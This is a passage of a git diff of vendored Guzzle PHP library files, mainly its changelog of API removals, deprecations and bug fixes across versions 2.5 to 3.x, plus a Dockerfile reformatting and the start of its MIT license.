a null value for `$data` but a + default `array()` +* Added `Guzzle\Stream\StreamInterface::isRepeatable` +* Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use + $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or + $client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))`. +* Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use $client->getConfig()->getPath('request.options/headers')`. +* Removed `Guzzle\Http\ClientInterface::expandTemplate()` +* Removed `Guzzle\Http\ClientInterface::setRequestFactory()` +* Removed `Guzzle\Http\ClientInterface::getCurlMulti()` +* Removed `Guzzle\Http\Message\RequestInterface::canCache` +* Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect` +* Removed `Guzzle\Http\Message\RequestInterface::isRedirect` +* Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods. +* You can now enable E_USER_DEPRECATED warnings to see if you are using a deprecated method by setting + `Guzzle\Common\Version::$emitWarnings` to true. +* Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use + `$request->getResponseBody()->isRepeatable()` instead. +* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use + `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use + `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +* Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead. +* Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead. +* Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated +* Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand. + These will work through Guzzle 4.0 +* Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use [request.options][params]. +* Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client. +* Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use $client->getConfig()->getPath('request.options/headers')`. +* Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. +* Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8. +* Marked `Guzzle\Common\Collection::inject()` as deprecated. +* Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest');` +* CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a + CacheStorageInterface. These two objects and interface will be removed in a future version. +* Always setting X-cache headers on cached responses +* Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin +* `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface + $request, Response $response);` +* `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);` +* `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);` +* Added `CacheStorageInterface::purge($url)` +* `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin + $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache, + CanCacheStrategyInterface $canCache = null)` +* Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)` + +## 3.6.0 - 2013-05-29 + +* ServiceDescription now implements ToArrayInterface +* Added command.hidden_params to blacklist certain headers from being treated as additionalParameters +* Guzzle can now correctly parse incomplete URLs +* Mixed casing of headers are now forced to be a single consistent casing across all values for that header. +* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution +* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader(). +* Specific header implementations can be created for complex headers. When a message creates a header, it uses a + HeaderFactory which can map specific headers to specific header classes. There is now a Link header and + CacheControl header implementation. +* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate +* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti() +* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in + Guzzle\Http\Curl\RequestMediator +* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string. +* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface +* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders() +* Removed Guzzle\Parser\ParserRegister::get(). Use getParser() +* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser(). +* All response header helper functions return a string rather than mixing Header objects and strings inconsistently +* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle + directly via interfaces +* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist + but are a no-op until removed. +* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a + `Guzzle\Service\Command\ArrayCommandInterface`. +* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response + on a request while the request is still being transferred +* The ability to case-insensitively search for header values +* Guzzle\Http\Message\Header::hasExactHeader +* Guzzle\Http\Message\Header::raw. Use getAll() +* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object + instead. +* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess +* Added the ability to cast Model objects to a string to view debug information. + +## 3.5.0 - 2013-05-13 + +* Bug: Fixed a regression so that request responses are parsed only once per oncomplete event rather than multiple times +* Bug: Better cleanup of one-time events across the board (when an event is meant to fire once, it will now remove + itself from the EventDispatcher) +* Bug: `Guzzle\Log\MessageFormatter` now properly writes "total_time" and "connect_time" values +* Bug: Cloning an EntityEnclosingRequest now clones the EntityBody too +* Bug: Fixed an undefined index error when parsing nested JSON responses with a sentAs parameter that reference a + non-existent key +* Bug: All __call() method arguments are now required (helps with mocking frameworks) +* Deprecating Response::getRequest() and now using a shallow clone of a request object to remove a circular reference + to help with refcount based garbage collection of resources created by sending a request +* Deprecating ZF1 cache and log adapters. These will be removed in the next major version. +* Deprecating `Response::getPreviousResponse()` (method signature still exists, but it's deprecated). Use the + HistoryPlugin for a history. +* Added a `responseBody` alias for the `response_body` location +* Refactored internals to no longer rely on Response::getRequest() +* HistoryPlugin can now be cast to a string +* HistoryPlugin now logs transactions rather than requests and responses to more accurately keep track of the requests + and responses that are sent over the wire +* Added `getEffectiveUrl()` and `getRedirectCount()` to Response objects + +## 3.4.3 - 2013-04-30 + +* Bug fix: Fixing bug introduced in 3.4.2 where redirect responses are duplicated on the final redirected response +* Added a check to re-extract the temp cacert bundle from the phar before sending each request + +## 3.4.2 - 2013-04-29 + +* Bug fix: Stream objects now work correctly with "a" and "a+" modes +* Bug fix: Removing `Transfer-Encoding: chunked` header when a Content-Length is present +* Bug fix: AsyncPlugin no longer forces HEAD requests +* Bug fix: DateTime timezones are now properly handled when using the service description schema formatter +* Bug fix: CachePlugin now properly handles stale-if-error directives when a request to the origin server fails +* Setting a response on a request will write to the custom request body from the response body if one is specified +* LogPlugin now writes to php://output when STDERR is undefined +* Added the ability to set multiple POST files for the same key in a single call +* application/x-www-form-urlencoded POSTs now use the utf-8 charset by default +* Added the ability to queue CurlExceptions to the MockPlugin +* Cleaned up how manual responses are queued on requests (removed "queued_response" and now using request.before_send) +* Configuration loading now allows remote files + +## 3.4.1 - 2013-04-16 + +* Large refactoring to how CurlMulti handles work. There is now a proxy that sits in front of a pool of CurlMulti + handles. This greatly simplifies the implementation, fixes a couple bugs, and provides a small performance boost. +* Exceptions are now properly grouped when sending requests in parallel +* Redirects are now properly aggregated when a multi transaction fails +* Redirects now set the response on the original object even in the event of a failure +* Bug fix: Model names are now properly set even when using $refs +* Added support for PHP 5.5's CurlFile to prevent warnings with the deprecated @ syntax +* Added support for oauth_callback in OAuth signatures +* Added support for oauth_verifier in OAuth signatures +* Added support to attempt to retrieve a command first literally, then ucfirst, the with inflection + +## 3.4.0 - 2013-04-11 + +* Bug fix: URLs are now resolved correctly based on http://tools.ietf.org/html/rfc3986#section-5.2. #289 +* Bug fix: Absolute URLs with a path in a service description will now properly override the base URL. #289 +* Bug fix: Parsing a query string with a single PHP array value will now result in an array. #263 +* Bug fix: Better normalization of the User-Agent header to prevent duplicate headers. #264. +* Bug fix: Added `number` type to service descriptions. +* Bug fix: empty parameters are removed from an OAuth signature +* Bug fix: Revalidating a cache entry prefers the Last-Modified over the Date header +* Bug fix: Fixed "array to string" error when validating a union of types in a service description +* Bug fix: Removed code that attempted to determine the size of a stream when data is written to the stream +* Bug fix: Not including an `oauth_token` if the value is null in the OauthPlugin. +* Bug fix: Now correctly aggregating successful requests and failed requests in CurlMulti when a redirect occurs. +* The new default CURLOPT_TIMEOUT setting has been increased to 150 seconds so that Guzzle works on poor connections. +* Added a feature to EntityEnclosingRequest::setBody() that will automatically set the Content-Type of the request if + the Content-Type can be determined based on the entity body or the path of the request. +* Added the ability to overwrite configuration settings in a client when grabbing a throwaway client from a builder. +* Added support for a PSR-3 LogAdapter. +* Added a `command.after_prepare` event +* Added `oauth_callback` parameter to the OauthPlugin +* Added the ability to create a custom stream class when using a stream factory +* Added a CachingEntityBody decorator +* Added support for `additionalParameters` in service descriptions to define how custom parameters are serialized. +* The bundled SSL certificate is now provided in the phar file and extracted when running Guzzle from a phar. +* You can now send any EntityEnclosingRequest with POST fields or POST files and cURL will handle creating bodies +* POST requests using a custom entity body are now treated exactly like PUT requests but with a custom cURL method. This + means that the redirect behavior of POST requests with custom bodies will not be the same as POST requests that use + POST fields or files (the latter is only used when emulating a form POST in the browser). +* Lots of cleanup to CurlHandle::factory and RequestFactory::createRequest + +## 3.3.1 - 2013-03-10 + +* Added the ability to create PHP streaming responses from HTTP requests +* Bug fix: Running any filters when parsing response headers with service descriptions +* Bug fix: OauthPlugin fixes to allow for multi-dimensional array signing, and sorting parameters before signing +* Bug fix: Removed the adding of default empty arrays and false Booleans to responses in order to be consistent across + response location visitors. +* Bug fix: Removed the possibility of creating configuration files with circular dependencies +* RequestFactory::create() now uses the key of a POST file when setting the POST file name +* Added xmlAllowEmpty to serialize an XML body even if no XML specific parameters are set + +## 3.3.0 - 2013-03-03 + +* A large number of performance optimizations have been made +* Bug fix: Added 'wb' as a valid write mode for streams +* Bug fix: `Guzzle\Http\Message\Response::json()` now allows scalar values to be returned +* Bug fix: Fixed bug in `Guzzle\Http\Message\Response` where wrapping quotes were stripped from `getEtag()` +* BC: Removed `Guzzle\Http\Utils` class +* BC: Setting a service description on a client will no longer modify the client's command factories. +* BC: Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using + the 'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io' +* BC: `Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getSteamType()` are no longer converted to + lowercase +* Operation parameter objects are now lazy loaded internally +* Added ErrorResponsePlugin that can throw errors for responses defined in service description operations' errorResponses +* Added support for instantiating responseType=class responseClass classes. Classes must implement + `Guzzle\Service\Command\ResponseClassInterface` +* Added support for additionalProperties for top-level parameters in responseType=model responseClasses. These + additional properties also support locations and can be used to parse JSON responses where the outermost part of the + JSON is an array +* Added support for nested renaming of JSON models (rename sentAs to name) +* CachePlugin + * Added support for stale-if-error so that the CachePlugin can now serve stale content from the cache on error + * Debug headers can now added to cached response in the CachePlugin + +## 3.2.0 - 2013-02-14 + +* CurlMulti is no longer reused globally. A new multi object is created per-client. This helps to isolate clients. +* URLs with no path no longer contain a "/" by default +* Guzzle\Http\QueryString does no longer manages the leading "?". This is now handled in Guzzle\Http\Url. +* BadResponseException no longer includes the full request and response message +* Adding setData() to Guzzle\Service\Description\ServiceDescriptionInterface +* Adding getResponseBody() to Guzzle\Http\Message\RequestInterface +* Various updates to classes to use ServiceDescriptionInterface type hints rather than ServiceDescription +* Header values can now be normalized into distinct values when multiple headers are combined with a comma separated list +* xmlEncoding can now be customized for the XML declaration of a XML service description operation +* Guzzle\Http\QueryString now uses Guzzle\Http\QueryAggregator\QueryAggregatorInterface objects to add custom value + aggregation and no longer uses callbacks +* The URL encoding implementation of Guzzle\Http\QueryString can now be customized +* Bug fix: Filters were not always invoked for array service description parameters +* Bug fix: Redirects now use a target response body rather than a temporary response body +* Bug fix: The default exponential backoff BackoffPlugin was not giving when the request threshold was exceeded +* Bug fix: Guzzle now takes the first found value when grabbing Cache-Control directives + +## 3.1.2 - 2013-01-27 + +* Refactored how operation responses are parsed. Visitors now include a before() method responsible for parsing the + response body. For example, the XmlVisitor now parses the XML response into an array in the before() method. +* Fixed an issue where cURL would not automatically decompress responses when the Accept-Encoding header was sent +* CURLOPT_SSL_VERIFYHOST is never set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444) +* Fixed a bug where redirect responses were not chained correctly using getPreviousResponse() +* Setting default headers on a client after setting the user-agent will not erase the user-agent setting + +## 3.1.1 - 2013-01-20 + +* Adding wildcard support to Guzzle\Common\Collection::getPath() +* Adding alias support to ServiceBuilder configs +* Adding Guzzle\Service\Resource\CompositeResourceIteratorFactory and cleaning up factory interface + +## 3.1.0 - 2013-01-12 + +* BC: CurlException now extends from RequestException rather than BadResponseException +* BC: Renamed Guzzle\Plugin\Cache\CanCacheStrategyInterface::canCache() to canCacheRequest() and added CanCacheResponse() +* Added getData to ServiceDescriptionInterface +* Added context array to RequestInterface::setState() +* Bug: Removing hard dependency on the BackoffPlugin from Guzzle\Http +* Bug: Adding required content-type when JSON request visitor adds JSON to a command +* Bug: Fixing the serialization of a service description with custom data +* Made it easier to deal with exceptions thrown when transferring commands or requests in parallel by providing + an array of successful and failed responses +* Moved getPath from Guzzle\Service\Resource\Model to Guzzle\Common\Collection +* Added Guzzle\Http\IoEmittingEntityBody +* Moved command filtration from validators to location visitors +* Added `extends` attributes to service description parameters +* Added getModels to ServiceDescriptionInterface + +## 3.0.7 - 2012-12-19 + +* Fixing phar detection when forcing a cacert to system if null or true +* Allowing filename to be passed to `Guzzle\Http\Message\Request::setResponseBody()` +* Cleaning up `Guzzle\Common\Collection::inject` method +* Adding a response_body location to service descriptions + +## 3.0.6 - 2012-12-09 + +* CurlMulti performance improvements +* Adding setErrorResponses() to Operation +* composer.json tweaks + +## 3.0.5 - 2012-11-18 + +* Bug: Fixing an infinite recursion bug caused from revalidating with the CachePlugin +* Bug: Response body can now be a string containing "0" +* Bug: Using Guzzle inside of a phar uses system by default but now allows for a custom cacert +* Bug: QueryString::fromString now properly parses query string parameters that contain equal signs +* Added support for XML attributes in service description responses +* DefaultRequestSerializer now supports array URI parameter values for URI template expansion +* Added better mimetype guessing to requests and post files + +## 3.0.4 - 2012-11-11 + +* Bug: Fixed a bug when adding multiple cookies to a request to use the correct glue value +* Bug: Cookies can now be added that have a name, domain, or value set to "0" +* Bug: Using the system cacert bundle when using the Phar +* Added json and xml methods to Response to make it easier to parse JSON and XML response data into data structures +* Enhanced cookie jar de-duplication +* Added the ability to enable strict cookie jars that throw exceptions when invalid cookies are added +* Added setStream to StreamInterface to actually make it possible to implement custom rewind behavior for entity bodies +* Added the ability to create any sort of hash for a stream rather than just an MD5 hash + +## 3.0.3 - 2012-11-04 + +* Implementing redirects in PHP rather than cURL +* Added PECL URI template extension and using as default parser if available +* Bug: Fixed Content-Length parsing of Response factory +* Adding rewind() method to entity bodies and streams. Allows for custom rewinding of non-repeatable streams. +* Adding ToArrayInterface throughout library +* Fixing OauthPlugin to create unique nonce values per request + +## 3.0.2 - 2012-10-25 + +* Magic methods are enabled by default on clients +* Magic methods return the result of a command +* Service clients no longer require a base_url option in the factory +* Bug: Fixed an issue with URI templates where null template variables were being expanded + +## 3.0.1 - 2012-10-22 + +* Models can now be used like regular collection objects by calling filter, map, etc. +* Models no longer require a Parameter structure or initial data in the constructor +* Added a custom AppendIterator to get around a PHP bug with the `\AppendIterator` + +## 3.0.0 - 2012-10-15 + +* Rewrote service description format to be based on Swagger + * Now based on JSON schema + * Added nested input structures and nested response models + * Support for JSON and XML input and output models + * Renamed `commands` to `operations` + * Removed dot class notation + * Removed custom types +* Broke the project into smaller top-level namespaces to be more component friendly +* Removed support for XML configs and descriptions. Use arrays or JSON files. +* Removed the Validation component and Inspector +* Moved all cookie code to Guzzle\Plugin\Cookie +* Magic methods on a Guzzle\Service\Client now return the command un-executed. +* Calling getResult() or getResponse() on a command will lazily execute the command if needed. +* Now shipping with cURL's CA certs and using it by default +* Added previousResponse() method to response objects +* No longer sending Accept and Accept-Encoding headers on every request +* Only sending an Expect header by default when a payload is greater than 1MB +* Added/moved client options: + * curl.blacklist to curl.option.blacklist + * Added ssl.certificate_authority +* Added a Guzzle\Iterator component +* Moved plugins from Guzzle\Http\Plugin to Guzzle\Plugin +* Added a more robust backoff retry strategy (replaced the ExponentialBackoffPlugin) +* Added a more robust caching plugin +* Added setBody to response objects +* Updating LogPlugin to use a more flexible MessageFormatter +* Added a completely revamped build process +* Cleaning up Collection class and removing default values from the get method +* Fixed ZF2 cache adapters + +## 2.8.8 - 2012-10-15 + +* Bug: Fixed a cookie issue that caused dot prefixed domains to not match where popular browsers did + +## 2.8.7 - 2012-09-30 + +* Bug: Fixed config file aliases for JSON includes +* Bug: Fixed cookie bug on a request object by using CookieParser to parse cookies on requests +* Bug: Removing the path to a file when sending a Content-Disposition header on a POST upload +* Bug: Hardening request and response parsing to account for missing parts +* Bug: Fixed PEAR packaging +* Bug: Fixed Request::getInfo +* Bug: Fixed cases where CURLM_CALL_MULTI_PERFORM return codes were causing curl transactions to fail +* Adding the ability for the namespace Iterator factory to look in multiple directories +* Added more getters/setters/removers from service descriptions +* Added the ability to remove POST fields from OAuth signatures +* OAuth plugin now supports 2-legged OAuth + +## 2.8.6 - 2012-09-05 + +* Added the ability to modify and build service descriptions +* Added the use of visitors to apply parameters to locations in service descriptions using the dynamic command +* Added a `json` parameter location +* Now allowing dot notation for classes in the CacheAdapterFactory +* Using the union of two arrays rather than an array_merge when extending service builder services and service params +* Ensuring that a service is a string before doing strpos() checks on it when substituting services for references + in service builder config files. +* Services defined in two different config files that include one another will by default replace the previously + defined service, but you can now create services that extend themselves and merge their settings over the previous +* The JsonLoader now supports aliasing filenames with different filenames. This allows you to alias something like + '_default' with a default JSON configuration file. + +## 2.8.5 - 2012-08-29 + +* Bug: Suppressed empty arrays from URI templates +* Bug: Added the missing $options argument from ServiceDescription::factory to enable caching +* Added support for HTTP responses that do not contain a reason phrase in the start-line +* AbstractCommand commands are now invokable +* Added a way to get the data used when signing an Oauth request before a request is sent + +## 2.8.4 - 2012-08-15 + +* Bug: Custom delay time calculations are no longer ignored in the ExponentialBackoffPlugin +* Added the ability to transfer entity bodies as a string rather than streamed. This gets around curl error 65. Set `body_as_string` in a request's curl options to enable. +* Added a StreamInterface, EntityBodyInterface, and added ftell() to Guzzle\Common\Stream +* Added an AbstractEntityBodyDecorator and a ReadLimitEntityBody decorator to transfer only a subset of a decorated stream +* Stream and EntityBody objects will now return the file position to the previous position after a read required operation (e.g. getContentMd5()) +* Added additional response status codes +* Removed SSL information from the default User-Agent header +* DELETE requests can now send an entity body +* Added an EventDispatcher to the ExponentialBackoffPlugin and added an ExponentialBackoffLogger to log backoff retries +* Added the ability of the MockPlugin to consume mocked request bodies +* LogPlugin now exposes request and response objects in the extras array + +## 2.8.3 - 2012-07-30 + +* Bug: Fixed a case where empty POST requests were sent as GET requests +* Bug: Fixed a bug in ExponentialBackoffPlugin that caused fatal errors when retrying an EntityEnclosingRequest that does not have a body +* Bug: Setting the response body of a request to null after completing a request, not when setting the state of a request to new +* Added multiple inheritance to service description commands +* Added an ApiCommandInterface and added `getParamNames()` and `hasParam()` +* Removed the default 2mb size cutoff from the Md5ValidatorPlugin so that it now defaults to validating everything +* Changed CurlMulti::perform to pass a smaller timeout to CurlMulti::executeHandles + +## 2.8.2 - 2012-07-24 + +* Bug: Query string values set to 0 are no longer dropped from the query string +* Bug: A Collection object is no longer created each time a call is made to `Guzzle\Service\Command\AbstractCommand::getRequestHeaders()` +* Bug: `+` is now treated as an encoded space when parsing query strings +* QueryString and Collection performance improvements +* Allowing dot notation for class paths in filters attribute of a service descriptions + +## 2.8.1 - 2012-07-16 + +* Loosening Event Dispatcher dependency +* POST redirects can now be customized using CURLOPT_POSTREDIR + +## 2.8.0 - 2012-07-15 + +* BC: Guzzle\Http\Query + * Query strings with empty variables will always show an equal sign unless the variable is set to QueryString::BLANK (e.g. ?acl= vs ?acl) + * Changed isEncodingValues() and isEncodingFields() to isUrlEncoding() + * Changed setEncodeValues(bool) and setEncodeFields(bool) to useUrlEncoding(bool) + * Changed the aggregation functions of QueryString to be static methods + * Can now use fromString() with querystrings that have a leading ? +* cURL configuration values can be specified in service descriptions using `curl.` prefixed parameters +* Content-Length is set to 0 before emitting the request.before_send event when sending an empty request body +* Cookies are no longer URL decoded by default +* Bug: URI template variables set to null are no longer expanded + +## 2.7.2 - 2012-07-02 + +* BC: Moving things to get ready for subtree splits. Moving Inflection into Common. Moving Guzzle\Http\Parser to Guzzle\Parser. +* BC: Removing Guzzle\Common\Batch\Batch::count() and replacing it with isEmpty() +* CachePlugin now allows for a custom request parameter function to check if a request can be cached +* Bug fix: CachePlugin now only caches GET and HEAD requests by default +* Bug fix: Using header glue when transferring headers over the wire +* Allowing deeply nested arrays for composite variables in URI templates +* Batch divisors can now return iterators or arrays + +## 2.7.1 - 2012-06-26 + +* Minor patch to update version number in UA string +* Updating build process + +## 2.7.0 - 2012-06-25 + +* BC: Inflection classes moved to Guzzle\Inflection. No longer static methods. Can now inject custom inflectors into classes. +* BC: Removed magic setX methods from commands +* BC: Magic methods mapped to service description commands are now inflected in the command factory rather than the client __call() method +* Verbose cURL options are no longer enabled by default. Set curl.debug to true on a client to enable. +* Bug: Now allowing colons in a response start-line (e.g. HTTP/1.1 503 Service Unavailable: Back-end server is at capacity) +* Guzzle\Service\Resource\ResourceIteratorApplyBatched now internally uses the Guzzle\Common\Batch namespace +* Added Guzzle\Service\Plugin namespace and a PluginCollectionPlugin +* Added the ability to set POST fields and files in a service description +* Guzzle\Http\EntityBody::factory() now accepts objects with a __toString() method +* Adding a command.before_prepare event to clients +* Added BatchClosureTransfer and BatchClosureDivisor +* BatchTransferException now includes references to the batch divisor and transfer strategies +* Fixed some tests so that they pass more reliably +* Added Guzzle\Common\Log\ArrayLogAdapter + +## 2.6.6 - 2012-06-10 + +* BC: Removing Guzzle\Http\Plugin\BatchQueuePlugin +* BC: Removing Guzzle\Service\Command\CommandSet +* Adding generic batching system (replaces the batch queue plugin and command set) +* Updating ZF cache and log adapters and now using ZF's composer repository +* Bug: Setting the name of each ApiParam when creating through an ApiCommand +* Adding result_type, result_doc, deprecated, and doc_url to service descriptions +* Bug: Changed the default cookie header casing back to 'Cookie' + +## 2.6.5 - 2012-06-03 + +* BC: Renaming Guzzle\Http\Message\RequestInterface::getResourceUri() to getResource() +* BC: Removing unused AUTH_BASIC and AUTH_DIGEST constants from +* BC: Guzzle\Http\Cookie is now used to manage Set-Cookie data, not Cookie data +* BC: Renaming methods in the CookieJarInterface +* Moving almost all cookie logic out of the CookiePlugin and into the Cookie or CookieJar implementations +* Making the default glue for HTTP headers ';' instead of ',' +* Adding a removeValue to Guzzle\Http\Message\Header +* Adding getCookies() to request interface. +* Making it easier to add event subscribers to HasDispatcherInterface classes. Can now directly call addSubscriber() + +## 2.6.4 - 2012-05-30 + +* BC: Cleaning up how POST files are stored in EntityEnclosingRequest objects. Adding PostFile class. +* BC: Moving ApiCommand specific functionality from the Inspector and on to the ApiCommand +* Bug: Fixing magic method command calls on clients +* Bug: Email constraint only validates strings +* Bug: Aggregate POST fields when POST files are present in curl handle +* Bug: Fixing default User-Agent header +* Bug: Only appending or prepending parameters in commands if they are specified +* Bug: Not requiring response reason phrases or status codes to match a predefined list of codes +* Allowing the use of dot notation for class namespaces when using instance_of constraint +* Added any_match validation constraint +* Added an AsyncPlugin +* Passing request object to the calculateWait method of the ExponentialBackoffPlugin +* Allowing the result of a command object to be changed +* Parsing location and type sub values when instantiating a service description rather than over and over at runtime + +## 2.6.3 - 2012-05-23 + +* [BC] Guzzle\Common\FromConfigInterface no longer requires any config options. +* [BC] Refactoring how POST files are stored on an EntityEnclosingRequest. They are now separate from POST fields. +* You can now use an array of data when creating PUT request bodies in the request factory. +* Removing the requirement that HTTPS requests needed a Cache-Control: public directive to be cacheable. +* [Http] Adding support for Content-Type in multipart POST uploads per upload +* [Http] Added support for uploading multiple files using the same name (foo[0], foo[1]) +* Adding more POST data operations for easier manipulation of POST data. +* You can now set empty POST fields. +* The body of a request is only shown on EntityEnclosingRequest objects that do not use POST files. +* Split the Guzzle\Service\Inspector::validateConfig method into two methods. One to initialize when a command is created, and one to validate. +* CS updates + +## 2.6.2 - 2012-05-19 + +* [Http] Better handling of nested scope requests in CurlMulti. Requests are now always prepares in the send() method rather than the addRequest() method. + +## 2.6.1 - 2012-05-19 + +* [BC] Removing 'path' support in service descriptions. Use 'uri'. +* [BC] Guzzle\Service\Inspector::parseDocBlock is now protected. Adding getApiParamsForClass() with cache. +* [BC] Removing Guzzle\Common\NullObject. Use https://github.com/mtdowling/NullObject if you need it. +* [BC] Removing Guzzle\Common\XmlElement. +* All commands, both dynamic and concrete, have ApiCommand objects. +* Adding a fix for CurlMulti so that if all of the connections encounter some sort of curl error, then the loop exits. +* Adding checks to EntityEnclosingRequest so that empty POST files and fields are ignored. +* Making the method signature of Guzzle\Service\Builder\ServiceBuilder::factory more flexible. + +## 2.6.0 - 2012-05-15 + +* [BC] Moving Guzzle\Service\Builder to Guzzle\Service\Builder\ServiceBuilder +* [BC] Executing a Command returns the result of the command rather than the command +* [BC] Moving all HTTP parsing logic to Guzzle\Http\Parsers. Allows for faster C implementations if needed. +* [BC] Changing the Guzzle\Http\Message\Response::setProtocol() method to accept a protocol and version in separate args. +* [BC] Moving ResourceIterator* to Guzzle\Service\Resource +* [BC] Completely refactored ResourceIterators to iterate over a cloned command object +* [BC] Moved Guzzle\Http\UriTemplate to Guzzle\Http\Parser\UriTemplate\UriTemplate +* [BC] Guzzle\Guzzle is now deprecated +* Moving Guzzle\Common\Guzzle::inject to Guzzle\Common\Collection::inject +* Adding Guzzle\Version class to give version information about Guzzle +* Adding Guzzle\Http\Utils class to provide getDefaultUserAgent() and getHttpDate() +* Adding Guzzle\Curl\CurlVersion to manage caching curl_version() data +* ServiceDescription and ServiceBuilder are now cacheable using similar configs +* Changing the format of XML and JSON service builder configs. Backwards compatible. +* Cleaned up Cookie parsing +* Trimming the default Guzzle User-Agent header +* Adding a setOnComplete() method to Commands that is called when a command completes +* Keeping track of requests that were mocked in the MockPlugin +* Fixed a caching bug in the CacheAdapterFactory +* Inspector objects can be injected into a Command object +* Refactoring a lot of code and tests to be case insensitive when dealing with headers +* Adding Guzzle\Http\Message\HeaderComparison for easy comparison of HTTP headers using a DSL +* Adding the ability to set global option overrides to service builder configs +* Adding the ability to include other service builder config files from within XML and JSON files +* Moving the parseQuery method out of Url and on to QueryString::fromString() as a static factory method. + +## 2.5.0 - 2012-05-08 + +* Major performance improvements +* [BC] Simplifying Guzzle\Common\Collection. Please check to see if you are using features that are now deprecated. +* [BC] Using a custom validation system that allows a flyweight implementation for much faster validation. No longer using Symfony2 Validation component. +* [BC] No longer supporting "{{ }}" for injecting into command or UriTemplates. Use "{}" +* Added the ability to passed parameters to all requests created by a client +* Added callback functionality to the ExponentialBackoffPlugin +* Using microtime in ExponentialBackoffPlugin to allow more granular backoff strategies. +* Rewinding request stream bodies when retrying requests +* Exception is thrown when JSON response body cannot be decoded +* Added configurable magic method calls to clients and commands. This is off by default. +* Fixed a defect that added a hash to every parsed URL part +* Fixed duplicate none generation for OauthPlugin. +* Emitting an event each time a client is generated by a ServiceBuilder +* Using an ApiParams object instead of a Collection for parameters of an ApiCommand +* cache.* request parameters should be renamed to params.cache.* +* Added the ability to set arbitrary curl options on requests (disable_wire, progress, etc.). See CurlHandle. +* Added the ability to disable type validation of service descriptions +* ServiceDescriptions and ServiceBuilders are now Serializable diff --git a/vendor/guzzlehttp/guzzle/Dockerfile b/vendor/guzzlehttp/guzzle/Dockerfile index 75712faa45..f6a095230e 100644 --- a/vendor/guzzlehttp/guzzle/Dockerfile +++ b/vendor/guzzlehttp/guzzle/Dockerfile @@ -1,18 +1,18 @@ -FROM composer:latest as setup - -RUN mkdir /guzzle - -WORKDIR /guzzle - -RUN set -xe \ - && composer init --name=guzzlehttp/test --description="Simple project for testing Guzzle scripts" --author="Márk Sági-Kazár " --no-interaction \ - && composer require guzzlehttp/guzzle - - -FROM php:7.3 - -RUN mkdir /guzzle - -WORKDIR /guzzle - -COPY --from=setup /guzzle /guzzle +FROM composer:latest as setup + +RUN mkdir /guzzle + +WORKDIR /guzzle + +RUN set -xe \ + && composer init --name=guzzlehttp/test --description="Simple project for testing Guzzle scripts" --author="Márk Sági-Kazár " --no-interaction \ + && composer require guzzlehttp/guzzle + + +FROM php:7.3 + +RUN mkdir /guzzle + +WORKDIR /guzzle + +COPY --from=setup /guzzle /guzzle diff --git a/vendor/guzzlehttp/guzzle/LICENSE b/vendor/guzzlehttp/guzzle/LICENSE index 2073a73a1f..50a177b032 100644 --- a/vendor/guzzlehttp/guzzle/LICENSE +++ b/vendor/guzzlehttp/guzzle/LICENSE @@ -1,19 +1,19 @@ -Copyright (c) 2011-2018 Michael Dowling, https://github.com/mtdowling - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above 